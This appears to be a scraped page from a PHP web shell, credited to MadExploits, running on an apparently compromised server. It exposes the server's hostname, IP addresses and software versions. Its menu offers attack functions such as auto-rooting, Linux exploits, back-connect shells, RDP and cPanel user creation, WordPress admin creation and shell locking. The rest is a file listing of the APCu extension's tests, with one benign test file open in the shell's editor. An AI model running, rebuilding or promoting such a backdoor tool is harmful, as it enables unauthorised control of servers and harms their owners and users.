Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
src /
apcu-5.1.19 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
bad
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
023-2.inc
180
B
-rw-rw-r--
024.phpt
198.29
KB
-rw-rw-r--
apc54_014.phpt
1.57
KB
-rw-rw-r--
apc54_018.phpt
4.22
KB
-rw-rw-r--
apc_001.phpt
513
B
-rw-rw-r--
apc_002.phpt
455
B
-rw-rw-r--
apc_003b.phpt
1.63
KB
-rw-rw-r--
apc_004.phpt
654
B
-rw-rw-r--
apc_005.phpt
635
B
-rw-rw-r--
apc_005b.phpt
705
B
-rw-rw-r--
apc_005c.phpt
800
B
-rw-rw-r--
apc_006.phpt
1.13
KB
-rw-rw-r--
apc_006_php73.phpt
1.04
KB
-rw-rw-r--
apc_007.phpt
1.05
KB
-rw-rw-r--
apc_008.phpt
838
B
-rw-rw-r--
apc_010.phpt
1.3
KB
-rw-rw-r--
apc_011.phpt
380
B
-rw-rw-r--
apc_012.phpt
606
B
-rw-rw-r--
apc_013_exists.phpt
407
B
-rw-rw-r--
apc_014_store_ref.phpt
392
B
-rw-rw-r--
apc_015.phpt
255
B
-rw-rw-r--
apc_016.phpt
613
B
-rw-rw-r--
apc_017.phpt
326
B
-rw-rw-r--
apc_018.phpt
193
B
-rw-rw-r--
apc_019.phpt
732
B
-rw-rw-r--
apc_020.phpt
802
B
-rw-rw-r--
apc_021.phpt
903
B
-rw-rw-r--
apc_022.phpt
620
B
-rw-rw-r--
apc_023.phpt
1.15
KB
-rw-rw-r--
apc_024.phpt
327
B
-rw-rw-r--
apc_099.phpt
399
B
-rw-rw-r--
apc_disabled.phpt
1.83
KB
-rw-rw-r--
apc_entry_001.phpt
523
B
-rw-rw-r--
apc_entry_002.phpt
433
B
-rw-rw-r--
apc_entry_003.phpt
284
B
-rw-rw-r--
apc_inc_perf.phpt
548
B
-rw-rw-r--
apc_store_array_int_keys.phpt
382
B
-rw-rw-r--
apc_store_reference.phpt
635
B
-rw-rw-r--
apc_store_reference_php8.phpt
606
B
-rw-rw-r--
apcu_sma_info.phpt
583
B
-rw-rw-r--
bug63224.phpt
3.65
KB
-rw-rw-r--
bug76145.phpt
850
B
-rw-rw-r--
get_included_files_inc1.inc
28
B
-rw-rw-r--
get_included_files_inc2.inc
87
B
-rw-rw-r--
get_included_files_inc3.inc
87
B
-rw-rw-r--
ghbug168.phpt
469
B
-rw-rw-r--
ghbug176.phpt
1.07
KB
-rw-rw-r--
ghbug185.phpt
1.12
KB
-rw-rw-r--
ghbug247.phpt
324
B
-rw-rw-r--
ghbug248.phpt
2.92
KB
-rw-rw-r--
ghbug335-fail.phpt
680
B
-rw-rw-r--
ghbug335.phpt
673
B
-rw-rw-r--
iterator_001.phpt
1.73
KB
-rw-rw-r--
iterator_002.phpt
541
B
-rw-rw-r--
iterator_003.phpt
1.75
KB
-rw-rw-r--
iterator_004.phpt
594
B
-rw-rw-r--
iterator_005.phpt
1.78
KB
-rw-rw-r--
iterator_006.phpt
16.52
KB
-rw-rw-r--
iterator_007.phpt
1.37
KB
-rw-rw-r--
iterator_008.phpt
512
B
-rw-rw-r--
iterator_009.phpt
382
B
-rw-rw-r--
iterator_010.phpt
942
B
-rw-rw-r--
not_enough_shm.phpt
329
B
-rw-rw-r--
server_test.inc
4.07
KB
-rw-rw-r--
skipif.inc
79
B
-rw-rw-r--
sma001.phpt
575
B
-rw-rw-r--
typed_prop.phpt
679
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ghbug248.phpt
--TEST-- GH Bug #248: apcu_fetch may return values causing zend_mm_corruption or segfaults when custom serializer is used --SKIPIF-- <?php require_once(dirname(__FILE__) . '/skipif.inc'); ?> --INI-- apc.enabled=1 apc.enable_cli=1 apc.serializer=default --FILE-- <?php function build_array() { return [ 'params' => 2, 'construct' => ['a'], 'x1' => 'y', 'x2' => 'y', 'x3' => 'y', 'x4' => 'y', 'x5' => 'y', 'x6' => 0, ]; } class MyClass { private $_params; public function __construct($params) { var_dump($params); $this->_params = $params; var_dump($params); $this->_params['ids'] = [4]; $this->_params['loadValue'] = 'x'; unset($this->_params['params']); } } function setup() { apcu_delete('mytestkey'); apcu_store('mytestkey', build_array()); } function test_apcu_fetch() { // Or store second? $value = apcu_fetch('mytestkey'); echo "Fetching the value initially stored into apcu:\n"; var_dump($value); echo "Done dumping initial fetch\n\n"; new MyClass($value); echo "\$value was passed by value, not reference. After instantiating class, the array \$value gets modified\n"; var_dump($value); echo "\nAnd calling apcu_fetch again, the original data is preserved (8 keys, params=2)\n"; var_dump(apcu_fetch('mytestkey')); } setup(); test_apcu_fetch(); ?> --EXPECT-- Fetching the value initially stored into apcu: array(8) { ["params"]=> int(2) ["construct"]=> array(1) { [0]=> string(1) "a" } ["x1"]=> string(1) "y" ["x2"]=> string(1) "y" ["x3"]=> string(1) "y" ["x4"]=> string(1) "y" ["x5"]=> string(1) "y" ["x6"]=> int(0) } Done dumping initial fetch array(8) { ["params"]=> int(2) ["construct"]=> array(1) { [0]=> string(1) "a" } ["x1"]=> string(1) "y" ["x2"]=> string(1) "y" ["x3"]=> string(1) "y" ["x4"]=> string(1) "y" ["x5"]=> string(1) "y" ["x6"]=> int(0) } array(8) { ["params"]=> int(2) ["construct"]=> array(1) { [0]=> string(1) "a" } ["x1"]=> string(1) "y" ["x2"]=> string(1) "y" ["x3"]=> string(1) "y" ["x4"]=> string(1) "y" ["x5"]=> string(1) "y" ["x6"]=> int(0) } $value was passed by value, not reference. After instantiating class, the array $value gets modified array(8) { ["params"]=> int(2) ["construct"]=> array(1) { [0]=> string(1) "a" } ["x1"]=> string(1) "y" ["x2"]=> string(1) "y" ["x3"]=> string(1) "y" ["x4"]=> string(1) "y" ["x5"]=> string(1) "y" ["x6"]=> int(0) } And calling apcu_fetch again, the original data is preserved (8 keys, params=2) array(8) { ["params"]=> int(2) ["construct"]=> array(1) { [0]=> string(1) "a" } ["x1"]=> string(1) "y" ["x2"]=> string(1) "y" ["x3"]=> string(1) "y" ["x4"]=> string(1) "y" ["x5"]=> string(1) "y" ["x6"]=> int(0) }
Close